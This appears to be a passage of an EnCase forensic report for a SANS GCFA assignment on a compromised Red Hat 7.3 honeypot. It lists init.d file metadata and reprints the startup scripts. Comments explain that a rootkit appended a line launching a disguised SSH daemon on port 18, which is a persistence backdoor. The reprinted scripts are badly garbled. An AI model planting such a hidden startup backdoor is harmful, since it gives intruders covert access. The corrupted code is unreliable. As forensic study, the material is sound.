   Last Written 01/17/02 11:34:41AM
   Hash Value 524d785c2e2f156b8deb1d24004c681e
   Physical Size 2,048
   Logical Size 1,176
```
<table>
<thead>
<tr>
<th>No.</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>9)</td>
<td>kdcrotate</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kdcrotate</td>
<td>06/19/03 11:36:46AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/01/02 08:43:05AM</td>
<td>52c90cfd7106168e12784574f66a9c87</td>
<td>2,048</td>
<td>1,084</td>
</tr>
<tr>
<td>10)</td>
<td>gpm</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\gpm</td>
<td>06/19/03 11:36:39AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 11:43:30AM</td>
<td>57c68b9be4338b491c5dc2aeaca24520</td>
<td>2,048</td>
<td>1,541</td>
</tr>
<tr>
<td>11)</td>
<td>sendmail</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sendmail</td>
<td>06/19/03 11:36:55AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/08/02 04:55:40AM</td>
<td>daa93b1212b893d0579075e6e71d5723</td>
<td>2,048</td>
<td>1,830</td>
</tr>
<tr>
<td>12)</td>
<td>kudzu</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kudzu</td>
<td>06/19/03 11:36:50AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/17/02 04:11:44AM</td>
<td>e8e31d1982dd547f059ce530e8541d6d</td>
<td>2,048</td>
<td>1,919</td>
</tr>
<tr>
<td>13)</td>
<td>halt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\halt</td>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/27/02 05:21:19PM</td>
<td>2381f1589d17b4795823dda2e891b0b3</td>
<td>6,144</td>
<td>5,153</td>
</tr>
<tr>
<td>14)</td>
<td>netfs</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\netfs</td>
<td>06/19/03 11:36:50AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/17/02 04:11:44AM</td>
<td>52c90cfd7106168e12784574f66a9c87</td>
<td>2,048</td>
<td>1,919</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/19/03 11:37:15AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------------</td>
<td>---------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/27/03 02:09:10PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Written</td>
<td>03/13/02 01:28:10AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>832173d444399f8da24f764d211ab161</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Physical Size</td>
<td>5,120</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Logical Size</td>
<td>5,104</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

15) Name: **random**
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\random
Entry Modified: 06/19/03 11:37:15AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 03/12/01 11:18:08AM
Hash Value: 27ea15de8132eef5987c204d19299
Physical Size: 2,048
Logical Size: 1,544

16) Name: **single**
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\single
Entry Modified: 06/19/03 11:37:15AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 02/27/01 04:49:42PM
Hash Value: 641a8ce64affbd56403795f87e24c2da
Physical Size: 2,048
Logical Size: 1,329

17) Name: **ipchains**
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ipchains
Entry Modified: 06/19/03 11:37:15AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 02/22/02 12:41:45AM
Hash Value: 61b0710c6cd9661045b4296b77229686
Physical Size: 4,096
Logical Size: 3,313

18) Name: **ipchains**
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ipchains
Entry Modified: 06/19/03 11:37:18AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 02/22/02 12:41:45AM
Hash Value: 61b0710c6cd9661045b4296b77229686
Physical Size: 4,096
Logical Size: 3,313

19) Name: **anacron**
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\anacron
Entry Modified: 06/19/03 11:38:11AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 06/24/01 08:25:30PM
Hash Value: 5479af54908ef2f8b169c17ce5acb54
<table>
<thead>
<tr>
<th>Physical Size</th>
<th>1,024</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Size</td>
<td>934</td>
</tr>
</tbody>
</table>

20) Name: `lpd`  
Description: File  
Full Path: `Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/lpd`  
Entry Modified: 06/19/03 11:39:08AM  
Last Accessed: 06/27/03 02:09:10PM  
Last Written: 04/02/02 10:57:07AM  
Hash Value: 37ba1d18ff0ff75142055f1b63d6cc9e  
Physical Size: 2,048  
Logical Size: 2,033

21) Name: `portmap`  
Description: File  
Full Path: `Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/portmap`  
Entry Modified: 06/19/03 11:40:22AM  
Last Accessed: 06/27/03 02:09:10PM  
Last Written: 02/27/02 01:41:37PM  
Hash Value: 97d91eea25e86a592c5bebbae49f16  
Physical Size: 2,048  
Logical Size: 1,831

22) Name: `xinetd`  
Description: File  
Full Path: `Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/xinetd`  
Entry Modified: 06/19/03 11:46:32AM  
Last Accessed: 06/27/03 02:13:01PM  
Last Written: 04/04/02 04:30:50PM  
Hash Value: 4296e7341173257d575b8ed88d9e7  
Physical Size: 3,072  
Logical Size: 2,313

23) Name: `autofs`  
Description: File  
Full Path: `Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/autofs`  
Entry Modified: 06/20/03 02:13:13AM  
Last Accessed: 06/27/03 02:09:10PM  
Last Written: 04/02/02 10:22:41AM  
Hash Value: 81744fd73f5492367f42ce374b64ab  
Physical Size: 10,240  
Logical Size: 9,435

24) Name: `nfslock`  
Description: File  
Full Path: `Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/init.d/nfslock`  
Entry Modified: 06/20/03 02:14:00AM  
Last Accessed: 06/27/03 02:09:10PM  
Last Written: 04/09/02 09:14:14AM  
Hash Value: a3d40799d7f19b21f1652a6239b93625  
Physical Size: 3,072  
Logical Size: 2,286

25) Name: `identd`
<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/20/03 02:14:16AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/27/02 01:12:55PM</td>
<td>55b38ea6aeecc5f7f9f8b99c3e9bd0</td>
<td>2,048</td>
<td>1,681</td>
</tr>
<tr>
<td>06/20/03 02:14:36AM</td>
<td>06/27/03 02:12:26PM</td>
<td>04/17/02 07:07:02AM</td>
<td>b9b3761374734822a49f4bb3e646867</td>
<td>2,048</td>
<td>1,160</td>
</tr>
<tr>
<td>06/20/03 02:14:45AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/25/02 03:44:14PM</td>
<td>b1482b84a650f1e4864538d7596fabe0</td>
<td>3,072</td>
<td>2,501</td>
</tr>
<tr>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/16/02 10:09:56AM</td>
<td>7933a2a52e6d4e1dafa3e491e59ab10c</td>
<td>2,048</td>
<td>1,638</td>
</tr>
<tr>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td></td>
<td></td>
<td>2,048</td>
<td>1,638</td>
</tr>
</tbody>
</table>
Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name functions
Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/.'s directory.

#!/bin/bash
#
# functions This file contains functions to be used by most or all
# shell scripts in the /etc/init.d directory.
#
# Version: @(#) /etc/init.d/functions 1.01 26-Oct-1993
#
# Author: Miquel van Smoreenburg, <miquels@drinkel.nl.mugnet.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# i18n originally by: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
# Wanderlei Antonio Cavassini
# TEXTDOMAIN=initscripts
# TEXTDOMAIN=/etc/locale
#
# Make sure umask is sane
umask 022
#
# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"

# Get a sane screen width
| -z "$(COLUMNS:-)" | && COLUMNS=80
if [-f /etc/sysconfig/i18n -a -z "${NOLOCALE:-}" ]; then
  . /etc/sysconfig/i18n
elseif [ "${LANG:-}" = "ja_JP.eucJP" -a "/sbin/consoletype" != "pty" ]; then
  unset LANG
else
  export LANG
fi
fi

# Read in our configuration
if [-z "$(BOOTUP:-)" ]; then
  if [-f /etc/sysconfig/init ]; then
    . /etc/sysconfig/init
  else
    # This all seem confusing? Look in /etc/sysconfig/init,
    # or in /usr/doc/initscripts-*/sysconfig.txt
    BOOTUP=color
    RES_COL=60
    MOVE_TO_COL="echo -en \$(RES_COL)"
    SETCOLOR_SUCCESS="echo -en \$(RES_COL)"
    SETCOLOR_FAILURE="echo -en \$(RES_COL)"
    SETCOLOR_WARNING="echo -en \$(RES_COL)"
fi
SETCOLOR_NORMAL="echo -en \"\033[0;39m\""
LOGLEVEL=1
fi
if [ -x /sbin/consoletype ]; then
  if [ "`consoletype`" = "serial" ]; then
    BOOTUP=serial
    MOVE_TO_COL=
    SETCOLOR_SUCCESS=
    SETCOLOR_WARNING=
    SETCOLOR_FAILURE=
    SETCOLOR_NORMAL=
  fi
fi
fi
if [ "${BOOTUP:-}" != "verbose" ]; then
  INITLOG_ARGS="-q"
else
  INITLOG_ARGS=
fi

# Check if $pid (could be plural) are running
checkpid() {
  while [ "$1" ]; do
    [ -d /proc/$1 ] && return 0
    shift
  done
  return 1
}

demon() {
  # Test syntax.
  local gotbase= force=
  local base= user= nice= bg= pid
  nicelevel=0
  while [ "$1" != "${1##[-+]}" ]; do
    case $1 in
      ");
    esac
    gotbase="yes"
    base=$2
    shift
  esac
  --check)
    base=$2
    gotbase="yes"
    shift 2
    ;;
  --check=??)
    base=${1##--check=}
    gotbase="yes"
    shift
    ;;
  --user)
    user=$2
    shift 2
    ;;
  --user=??)
    user=${1##--user=}
    shift
    ;;
  --force)
    force="force"
    shift
    ;;
  [-+][0-9]*)
    nice="nice -n $1"
    shift
    ;;
  *)

  echo "$0: Usage: daemon [+/-nicelevel] {program}"
  return 1;
}
esac
done

# Save basename.
[ -z "$gotbase" ] && base=${1##*/}

# See if it's already running. Look 'only' at the pid file.
pid=`pidfileofproc $base`
[ -n "$pid\-:-" ] && -r "$($force:\-:-)" ] && return

# make sure it doesn't core dump anywhere; while this could mask
# problems with the daemon, it also closes some security problems
ulimit -S -c 0 >/dev/null 2>&1

# Echo daemon
[ "$BOOTUP:\-:-" = "verbose" -a -r "$LSB" ] && echo -n "$base"

# And start it up.
if [ -z "$user" ]; then
    $nice initlog $INITLOG_ARGS -c "$*
else
    $nice initlog $INITLOG_ARGS -c "$su -s /bin/bash -user -c \"$\""
fi
[ "$?" -eq 0 ] && success "$base startup" || failure "$base startup"

# A function to stop a program.
killproc() {
    RC=0
    # Test syntax.
    if [ "$#" -eq 0 ]; then
        echo "$Usage: killproc [program] [signal]"
        return 1
    fi
    notset=0
    # check for second arg to be kill level
    if [ "$2" != "-" ]; then
        killlevel="-9"
    else
        notset=0
        killlevel="-9"
    fi

    # Save basename.
    base=${1##*/}

    # Find pid.
    pid=`pidofproc "$1`
    if [ -z "$pid\-:-" ]; then
        pid=`pidofproc $base`
    fi

    # Kill it.
    if [ -n "$pid\-:-" ] ; then
        [ "$BOOTUP\-:-" = "verbose" -a -r "$LSB" ] && echo -n "$base"
    fi
    if [ "$notset" -eq "1" ] ; then
        if checkpid $pid 2>&1; then
            # TERM first, then KILL if not dead
            kill -TERM $pid
            usleep 100000
            if checkpid $pid && sleep 1 &&
               checkpid $pid && sleep 3 &&
               checkpid $pid; then
                kill -KILL $pid
            fi
            usleep 100000
        fi
fi
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report Page 218

checkpid $pid
RC=$?
[ "$RC" -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC=$(! $RC)
# use specified level only
else
  if checkpid $pid >/dev/null 2>&1; then
    kill $killlevel $pid
    RC=$?
    [ "$RC" -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
  fi
fi
else
  failure "$base shutdown"
  RC=1
fi

# Remove pid file if any.
if [ "$notset" = "1" ]; then
  rm -f /var/run/$base.pid
fi
return $RC

# A function to find the pid of a program. Looks only at the pidfile
pidfileofproc() {
  local base=${1##*/}
  local pid
  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidfileofproc {program}"
    return 1
  fi

  # First try "/var/run/*/pid" files
  if [ -f /var/run/$base.pid ]; then
    local line p pid=
    read line < /var/run/$base.pid
    for p in $line ; do
      [ -z "${p//[^0-9]/}" -a -d /proc/$p ] && pid="pid $p"
    done
    if [ -n "$pid:=" ]; then
      echo $pid
      return 0
    fi
  fi

  # A function to find the pid of a program.
  pidofproc() {
    base=${1##*/}
    # Test syntax.
    if [ "$#" = 0 ]; then
      echo "$Usage: pidofproc {program}"
      return 1
    fi

    # First try "/var/run/*/pid" files
    if [ -f /var/run/$base.pid ]; then
      local line p pid=
      read line < /var/run/$base.pid
      for p in $line ; do
        [ -z "$p://[^0-9]/" ] -a -d /proc/$p ] && pid="pid $p"
      done
      if [ -n "$pid:=" ]; then
        echo $pid
        return 0
      fi
    fi
  }
}
# Next try "pidof"
 pidof -o $$ -o $$PPID -o $$PPID -x $1 || \
 pidof -o $$ -o $$PPID -o $$PPID -x $2

status() {
    local base=${1##*/}
    local pid

    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "$Usage: status {program}"
        return 1
    fi

    # First try "pidof"
    pid=`pidof
    -o $$
    -o $$PPID
    -o $$PPID
    -x $0`

    if [ "$pid" != "" ] ; then
        echo "$0 (pid $pid) is running..."
        return 0
    fi

    # Next try "/var/run/*.pid" files
    if [ -f /var/run/$base.pid ] ; then
        read pid < /var/run/$base.pid
        if [ "$pid" != "" ] ; then
            echo "$0 dead but pid file exists"
            return 1
        fi
    fi

    # See if /var/lock/subsys/$base exists
    if [ -f /var/lock/subsys/$base ] ; then
        echo "$0 dead but subsys locked"
        return 2
    fi

    echo "$0 is stopped"
    return 3
}

echo_success() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "["
    [ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS
    echo -n "$BOOTUP is ok"
    echo -n " ]"
    echo -ne ";r"
    return 0
}

echo_failure() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "["
    [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE
    echo -n "$BOOTUP is failed"
    echo -n " ]"
    echo -ne ";r"
    return 1
}

echo_passed() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "["
    [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
    echo -n "$BOOTUP is passed"
    echo -n " ]"
    echo -ne ";r"
    return 0
}
echo -n "\$PASSED"
[ "\$BOOTUP" = "color" ] && \$SETCOLOR_NORMAL
echo -n "["
[ "\$BOOTUP" = "color" ] && \$SETCOLOR_WARNING
echo -n \"$\"
[ "\$BOOTUP" = "color" ] && \$SETCOLOR_NORMAL
echo -ne \"\n\r\"
return 1
}

echo_warning() {
[ "\$BOOTUP" = "color" ] && \$MOVE_TO_COL
echo -n \"[\"
[ "\$BOOTUP" = "color" ] && \$SETCOLOR_WARNING
echo -n \"$\"
[ "\$BOOTUP" = "color" ] && \$SETCOLOR_NORMAL
echo -ne \"\n\r\"
return 1
}

# Log that something succeeded
success() {
if [ -z "${IN_INITLOG:-}" ]; then
initlog \$INITLOG_ARGS -n $0 -s "$1" -e 1
else
# silly hack to avoid EPIPE killing rc.sysinit
trap "" SIGPIPE
echo "\$INITLOG_ARGS -n $0 -s "$1" -e 1" >421
trap - SIGPIPE
fi
[ "\$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_success
return 0
}

# Log that something failed
failure() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
initlog \$INITLOG_ARGS -n $0 -s "$1" -e 2
else
trap "" SIGPIPE
echo "$\$INITLOG_ARGS -n $0 -s "$1" -e 2" >421
trap - SIGPIPE
fi
[ "\$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_failure
return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
initlog \$INITLOG_ARGS -n $0 -s "$1" -e 1
else
trap "" SIGPIPE
echo "$\$INITLOG_ARGS -n $0 -s "$1" -e 1" >421
trap - SIGPIPE
fi
[ "\$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_passed
return $rc
}

# Log a warning
warning() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
initlog \$INITLOG_ARGS -n $0 -s "$1" -e 1
else
trap "" SIGPIPE
echo "$\$INITLOG_ARGS -n $0 -s "$1" -e 1" >421
trap - SIGPIPE
#!/bin/bash

# syslog Starts syslogd/klogd.
#
# chkconfig: 2345 12 88
# description: Syslog is the facility by which many daemons use to log

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/.s directory. The nfsd is an ssh daemon listening for connection on port 18.

37) Name syslog
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\syslog
Entry Modified 06/29/03 03:25:21PM
Last Accessed 06/29/03 03:22:07PM
Last Written 06/29/03 03:25:21PM
Hash Value 7e7d2b5075662d3cd6e35c24b5003d69
Physical Size 2,048
Logical Size 1,405

© SANS Institute 2004, Author retains full rights.
# messages to various system log files. It is a good idea to always \n# run syslog.
### BEGIN INIT INFO
# Providers: $syslog
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[ -f /sbin/syslogd ] || exit 0
[ -f /sbin/klogd ] || exit 0

# Source config
if [ -f /etc/sysconfig/syslog ]; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTIONS="-m 0"
  KLOGD_OPTIONS="-2"
fi

RETVAL=0

umask 077

start() {
  echo -n "Starting system logger: 
  daemon syslogd $SYSLOGD_OPTIONS
  RETVAL=$?
  echo $SYSLOGD_OPTIONS
  echo -n "Starting kernel logger: 
  daemon klogd $KLOGD_OPTIONS
  RETVAL=$?
  echo $KLOGD_OPTIONS
  RETVAL=0
  touch /var/lock/subsys/syslog
  return $RETVAL
}

stop() {
  echo -n "Shutting down kernel logger: 
  killproc klogd
  echo -n "Shutting down system logger: 
  killproc syslogd
  RETVAL=$?
  echo $SYSLOGD_OPTIONS
  rm -f /var/lock/subsys/syslog
  return $RETVAL
}

restart() {
  stop
  start
}

rhstatus() {
  status syslogd
  status klogd
}

restart() {
  stop
  start
  rhstatus
  restart
  condrestart
}
#!/bin/bash
#
# /etc/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg's bcheckrc.
#
# Rerun ourselves through initlog
if [-z "INITLOG"] ; then
  [ -f /sbin/initlog ] && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we're using devfs, start devfsd now - we need the old device names
[ -e /dev/.devfsd ] && /sbin/devfsd /dev

# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH
HOSTNAME="/bin/hostname"

# Read in config data.
if [ -f /etc/sysconfig/network ] ; then
  . /etc/sysconfig/network
else
  NETWORKING=no
fi

if [ -z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ] ; then
  HOSTNAME=localhost
fi

# Source functions
. /etc/init.d/functions

# Print a banner. ;)
echo -en "$\tWelcome to 
if grep -q "Red Hat" /etc/redhat-release ; then
EnCase Computer Analysis Report

[ "$BOOTUP" = "color" ] && echo -en $"\033[1;31m" echo -en "Red Hat"
[ "$BOOTUP" = "color" ] && echo -en $"\033[0;39m"
PRODUCT=`sed "s/Red Hat /\1/" /etc/redhat-release`
echo "$PRODUCT"
else
PRODUCT=`sed "s/\*/g" /etc/redhat-release`
echo "$PRODUCT"
fi
if [ "$PROMPT" != "no" ]; then
  echo -e "$\033[1;31m"Pres 'I' to enter interactive startup."
echo
  sleep 1
fi

# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts && ! grep -q /initrd/loopfs /proc/mounts ; then
  if [ -e /initrd/dev/.devfsd ]; then
    umount /initrd/dev
  fi
  action "$Unmounting initrd: " umount /initrd
  /sbin/blockdev --flushbufs /dev/ram0 >/dev/null 2>&1
fi

# Configure kernel parameters
action "$Configuring kernel parameters: " sysctl -e /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0

if [ -f /etc/sysconfig/clock ]; then
  . /etc/sysconfig/clock
  # convert old style clock config to new values
  if [ "$CLOCKMODE" = "GMT" ]; then
    UTC=true
  elif [ "$CLOCKMODE" = "ARC" ]; then
    ARC=true
  fi
fi

CLOCKDEF="$
CLOCKFLAGS="$CLOCKFLAGS --hctosys"

case "$UTC" in
  yes|true)
    CLOCKFLAGS="$CLOCKFLAGS --utc";
    CLOCKDEF="$CLOCKDEF (utc)";
  ;;
  no|false)
    CLOCKFLAGS="$CLOCKFLAGS --localtime";
    CLOCKDEF="$CLOCKDEF (localtime)";
  ;;
esac

case "$ARC" in
  yes|true)
    CLOCKFLAGS="$CLOCKFLAGS --arc";
    CLOCKDEF="$CLOCKDEF (arc)";
  ;;
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 225

```bash
;
# Load keymap
if [ "/sbin/consoletype" = "vt" ]; then
  KEYMAP=/etc/sysconfig/console/default.kmap
else
  KEYMAP=/etc/sysconfig/console/default.kmap
fi
if [ -n "$KEYMAP" ]; then
  echo -n "$KEYMAP: "
else
  echo -n "$KEYTABLE: "
fi
loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
  success "$Loading default keymap"
  || failure "$Load default keymap"
fi
fi

# Load system font
if [ "/bin/loadkeys" ]; then
  KEYTABLE=/etc/sysconfig/console/default.kmap
else
  KEYTABLE=/etc/sysconfig/keyboard
fi
if [ -n "$KEYTABLE" ]; then
  echo -n "$KEYTABLE: "
else
  echo -n "$KEYMAP: "
fi
loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
  success "$Loading default keymap"
  || failure "$Loading default keymap"
fi
fi

# Start up swapping.
action "$Activating swap partitions: " swapon -a -e

# Set the hostname.
action "$Setting hostname $HOSTNAME: " hostname $HOSTNAME

# Initialize USB controller and HID devices
usb=0
if ! grep -iq "nousb" /proc/cmdline 2>/dev/null &&
  grep -q "usb" /proc/devices 2>/dev/null ;
then
  aliases="/sbin/modprobe -c awk "/alias usb-controller/ { print $3 }"
  if [ -n "$aliases" ]; then
    modprobe usbcore
    action "$Mounting USB filesystem: " mount -t usbddevfs usbddevfs /proc/bus/usb
```
for alias in $aliases ; do
   [ "$alias" != "off" ] && action "$"Initializing USB controller ($alias): " modprobe $alias
done
[ $? -eq 0 -a -n "$aliases" ] && usb=1

if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
  usb=1
fi

needusbstorage=
if [ $usb = "1" ]; then
   sleep 5
   mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=02"`
   kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=01"`
   needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e "^I.*Cls=08"`
   if [ -n "$kbdoutput" ] || [ -n "$mouseoutput" ]; then
      action "$"Initializing USB HID interface: " modprobe hid 2> /dev/null
   fi
   if [ -n "$kbdoutput" ]; then
      action "$"Initializing USB keyboard: " modprobe keybdev
   fi
   if [ -n "$mouseoutput" ]; then
      action "$"Initializing USB mouse: " modprobe mousedev
   fi
fi

if [ -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null ; then
   fastboot=yes
else
   fastboot=
fi

if [ -f /fsckoptions ] ; then
   fsckoptions=`cat /fsckoptions`
else
   fsckoptions=
fi

if [ -f /forcefsck ] ; then
   echo "$"Your system appears to have shut down uncleanly"
   AUTOFSCK_TIMEOUT=5
   AUTOFSCK_DEF_CHECK=no
   [ -f /etc/sysconfig/autofsck ] && . /etc/sysconfig/autofsck
   if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
      AUTOFSCK_OPT=-f
    else
      AUTOFSCK_OPT=
   fi
else
   echo
fi

if [ "$PROMPT" != "no" ] ; then
   if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
      if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$Press N within \d seconds to not force file system integrity check..." n ; then
         AUTOFSCK_OPT=
      else
         if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$Press Y within \d seconds to force file system integrity check..." y ; then
            AUTOFSCK_OPT=-f
         fi
      fi
   echo
else

```
# PROMPT not allowed
if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
  echo "$Forcing file system integrity check due to default setting"
else
  echo "$Not forcing file system integrity check due to default setting"
fi
fi
fsckoptions="$AUTOFSCK_OPT $fsckoptions"
fi

if [ "$ROOTUP" = "color" ]; then
  fsckoptions="-c $fsckoptions"
else
  fsckoptions="-V $fsckoptions"
fi

_RUN_QUOTACHECK=0
ROOTFSTYPE=`grep -E "\[[^:]*\] /\[[^:]*\]" /etc/fstab | awk '{ print $4 }'`
if [ -z "$fastboot" -a "$ROOTFSTYPE" != "nfs" ]; then
  STRING="$Checking root filesystem"
  echo "$STRING"
  initlog -c "fsck -T -a $fsckoptions /"
  rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  fi
  # A return of 2 or higher means there were serious problems.
  if [ "$rc" -gt 1 ]; then
    failure "$STRING"
    echo
    echo "$**** An error occurred during the file system check."
    echo "$**** Dropping you to a shell; the system will reboot"
    echo "$**** when you leave the shell."
    PS1="$SRepair filesystem) \\ # "; export PS1
    sulogin
    echo "$Unmounting file systems"
    umount -a
    mount -n -o remount,ro /
    echo "$Automatic reboot in progress."
    reboot -f
    elif [ "$rc" = "1" ]; then
      _RUN_QUOTACHECK=1
    fi
fi

# Possibly update quotas if fsck was run on /.
grep -E '([[space:]]+)/[[space:]]+" /etc/fstab | \\
  awk '{ print "$4" }'
  grep -q quota
  _ROOT_HAS_QUOTA=$?
if [ "$RUN_QUOTACHECK" = "x1" -a "$ROOT_HAS_QUOTA" -a 
  -x /sbin/quotacheck ]; then
  if [ -x /sbin/convertquota ]; then
    if [ -f /quota.user ]; then
      action "$Converting old user quota files: " 
      /sbin/convertquota -u / & & rm -f /quota.user
      fi
```
if [ -f /quota.group ]; then
  action "$Converted old group quota files: "$ 
  /sbin/convertquota -g / && rm -f /quota.group
fi

action "$Checking root filesystem quotas: "$ /sbin/quotacheck -nug /

# check for arguments passed from kernel
if grep -iq nopnp /proc/cmdline >/dev/null 2>&1 ; then
  PNP=
else
  PNP=yes
fi

# set up pnp
if [-x /sbin/isapnp -a ! -f /etc/isapnp.conf ]; then
  if [ -n "$PNP" ]; then
    action "$Setting up ISA PNP devices: "$ /sbin/isapnp /etc/isapnp.conf
  else
    action "$Skipping ISA PNP configuration at users request: "$ /bin/true
  fi
fi

# Remount the root filesystem read-write.
state=`awk '/(^/dev/ /root|/ )/ { print $4 }' /proc/mounts`
[ "$state" != "rw" ] &&
  action "$Remounting root filesystem in read-write mode: "$ mount -n -o remount,rw /

# LVM initialization
if [-e /proc/lvm -a /sbin/vgchange -a -f /etc/lvmtab ]; then
